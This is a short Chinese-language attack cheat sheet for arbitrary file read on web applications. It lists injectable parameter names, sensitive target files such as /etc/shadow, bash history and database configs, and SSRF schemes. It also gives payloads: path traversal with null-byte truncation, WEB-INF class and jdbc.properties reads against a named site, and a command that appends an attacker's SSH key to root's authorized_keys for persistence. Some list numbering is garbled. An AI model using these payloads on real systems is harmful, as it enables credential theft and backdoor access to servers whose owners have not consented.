任意檔案讀取路徑、欄位和payload
敏感欄位
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
可利用路徑
/etc/shadow
/etc/passwd
/etc/hosts
/root/.bash_history 找user add，cd，mysql，ssh，nohop看敏感目錄和檔案等
/etc/syscomfig/network-scripts/ifcfg-eth1
sed -i ‘/95_251/d’ /root/.ssh/authorized_keys
url=file:///etc/passwd
(ssrf內網探測)
/opt/nginx/conf/nginx.conf
file:///,gopher://,ftp://
/configs/database.php
Payload
-
http://...:8080/%c0%ae/WEB-INF/classes/com/huilan/application/action/PeopleBankAction.class
-
配合截斷規則：/etc/passwd%00.jpg
-
../../../../../../../../../../etc/passwd%00.jpg
-
http://www.zzvcom.com/cms/interface.jsp?time=41&data={readfile:%27/WEB-INF/classes/jdbc.properties%27}&jsoncallback=jsonp1442909681355
-
echo ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEA0jrJeJfEURdpG/jddXzk3zZYxQfdHbgPC4QYh5qx0F2SS1Q+uCW6j2cM/SxqhocfgDYw1CTikNTlJ43tzv1ozpSRjmLH26aTxGDUnXsvyVLeWdrjPni1FoVffW+LM0rZVh7A74Vi1bDr7IP7XjSMQU157rye7++G+eWA1NhscIiiJ/pwUKAjPSiEx+8DXN8ccTDyWrSnD+NfUQXPO4dVFu2MR5/VjLO2yWsVMwenCPwItf5xEwGqU5KbzxeTOyDnYYLk7UF6lBYpSDZC9U3mNL1alYgNnIbmZGYg921KFh28BRptDewh5MRDKmfMUSqeZpIZ95Pq8lG1sObcjNzDew==[email protected]_251.easou.com >> /root/.ssh/authorized_key